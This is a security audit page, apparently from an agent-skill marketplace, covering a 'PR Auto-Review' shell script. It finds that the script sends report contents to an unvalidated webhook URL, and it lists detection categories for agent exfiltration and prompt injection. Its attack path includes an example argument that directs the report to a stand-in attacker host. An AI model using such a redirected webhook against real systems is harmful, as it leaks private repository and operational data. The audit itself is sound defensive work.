Back to skill

Security audit

PR Auto-Review

Security checks for vulnerabilities and agentic risk

Overview

This PR review skill is mostly coherent, but it can send repository and health-check details to an unvalidated webhook destination, so users should review it carefully before installing.

Install only if you are comfortable with PR and service-health details being posted externally. Use a dedicated Discord webhook from a trusted secret store, avoid passing real webhook URLs directly on shared command lines, skip or constrain health checks for sensitive environments, and do not enable cron automation unless repeated external notifications are intended.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/pr-auto-review.sh:149
Finding

Unrestricted webhook destination enables SSRF and report disclosure

Content
View full analysis
&2 echo "Sending to Discord..." >&2 # Discord webhook: content field max 2000 chars CONTENT=$(head -c 1900 "$REPORT") curl -s -X POST "$DISCORD_WEBHOOK" \ -H "Content-Type: application/json" \ -d "$(jq -n --arg c "$CONTENT" '{content: $c}')" > /dev/null 2>&1 echo "Discord notification sent." >&2 fi ``` ### Technical Analysis The value supplied through `--discord-webhook` is passed directly to `curl` without validating its scheme, hostname, port, or path. Although the option is described as a Discord webhook, the implementation permits HTTP requests to arbitrary attacker-selected destinations. The request body contains up to 1,900 bytes from the generated report. Depending on execution mode, this report can include private PR titles, authors, changed filenames, CI check output, branch details, and health-check results. Sending the report to an arbitrary endpoint exceeds the minimum network access required for the declared Discord notification functionality. ### Attack Path 1. An attacker gains control of, or influences, the arguments used to invoke the Skill. 2. The attacker supplies a destination such as: ```bash --discord-webhook http://attacker.example/collect ``` Alternatively, the attacker supplies an internal HTTP endpoint reachable from the execution host. 3. The script retrieves PR and CI metadata and performs the configured health checks. 4. The script constructs the report and sends its first 1,900 bytes in an HTTP POST to the attacker-selected destination. 5. The attacker receives repository or operational metadata, or uses the request to interact with an internal service ...[truncated 528 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Note
Location
scripts/pr-auto-review.sh:10
Finding

Discord webhook credential is exposed through command-line arguments

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Note
Location
scripts/pr-auto-review.sh:39
Finding

Untrusted PR metadata can trigger Discord mentions and manipulate notification formatting

Content
View full analysis
/dev/null || echo "UNABLE_TO_FETCH_DIFF") PR_TITLE=$(gh pr view "$PR_NUM" --json title --jq '.title' 2>/dev/null || echo "Unknown PR") PR_AUTHOR=$(gh pr view "$PR_NUM" --json author --jq '.author.login' 2>/dev/null || echo "unknown") PR_FILES=$(gh pr diff "$PR_NUM" --name-only 2>/dev/null || echo "") FILE_COUNT=$(echo "$PR_FILES" | grep -c . || echo "0") echo "**PR**: [#${PR_NUM}](${PR_URL}) — ${PR_TITLE}" >> "$REPORT" echo "**Author**: ${PR_AUTHOR}" >> "$REPORT" echo "**Files changed**: ${FILE_COUNT}" >> "$REPORT" echo "" >> "$REPORT" # CI/CD status CI_STATUS=$(gh pr checks "$PR_NUM" 2>/dev/null || echo "UNABLE_TO_CHECK") ``` The generated content is then sent without an `allowed_mentions` restriction: ```bash CONTENT=$(head -c 1900 "$REPORT") curl -s -X POST "$DISCORD_WEBHOOK" \ -H "Content-Type: application/json" \ -d "$(jq -n --arg c "$CONTENT" '{content: $c}')" > /dev/null 2>&1 ``` ### Technical Analysis The PR title is contributor-controlled and is inserted into the Markdown report without escaping or normalization. The report is subsequently sent as Discord message content. The JSON payload does not include Discord's `allowed_mentions` control. A malicious title containing `@everyone`, `@here`, a role mention, or Markdown control characters may therefore cause unwanted notifications or alter the visual structure of the automated report. Other externally sourced values, including changed filenames and CI output, may also aff ...[truncated 1189 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (5)

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
91% confidence
Finding

The skill advertises shell-driven behavior but declares no explicit tool scope or permissions boundaries. That omission can cause an agent to invoke shell commands more broadly than a user expects, increasing the risk of unintended command execution, network access, or data handling during PR review workflows.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The trigger phrases and activation description are broad enough that the skill could run in loosely related contexts, including ordinary requests about PRs or post-merge checks. Because the workflow fetches repository data, performs network probes, and may notify Discord, ambiguous activation increases the chance of unintended execution and unintended disclosure of repository metadata or results.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The skill sends PR review output to a Discord webhook but does not clearly warn users that PR data, findings, and possibly sensitive metadata may be transmitted to a third-party service. In the context of code review and secret scanning, this is more dangerous because reports can include filenames, excerpts, CI status, and indicators of sensitive content that users may not expect to leave their environment.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The script can send the generated PR review report to an arbitrary Discord webhook, and that report may contain sensitive repository metadata, CI results, changed filenames, health-check output, or secrets surfaced from diffs. Although the webhook is user-supplied and transmission is explicit in code, there is no consent prompt, content redaction, or allowlist, so accidental data disclosure to third-party infrastructure is a realistic risk.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
96% confidence
Finding

This line performs outbound transmission of report content to the URL provided in DISCORD_WEBHOOK. In the context of a PR automation skill, the report aggregates potentially sensitive operational and code-review data, so sending it to an external endpoint can leak internal information if the webhook is misconfigured, attacker-controlled, or used in an untrusted environment.

Content

Scanner excerpt · scripts/pr-auto-review.sh (reported line 157)May include surrounding context.

sh
echo "Sending to Discord..." >&2
  # Discord webhook: content field max 2000 chars
  CONTENT=$(head -c 1900 "$REPORT")
  curl -s -X POST "$DISCORD_WEBHOOK" \
    -H "Content-Type: application/json" \
    -d "$(jq -n --arg c "$CONTENT" '{content: $c}')" > /dev/null 2>&1
  echo "Discord notification sent." >&2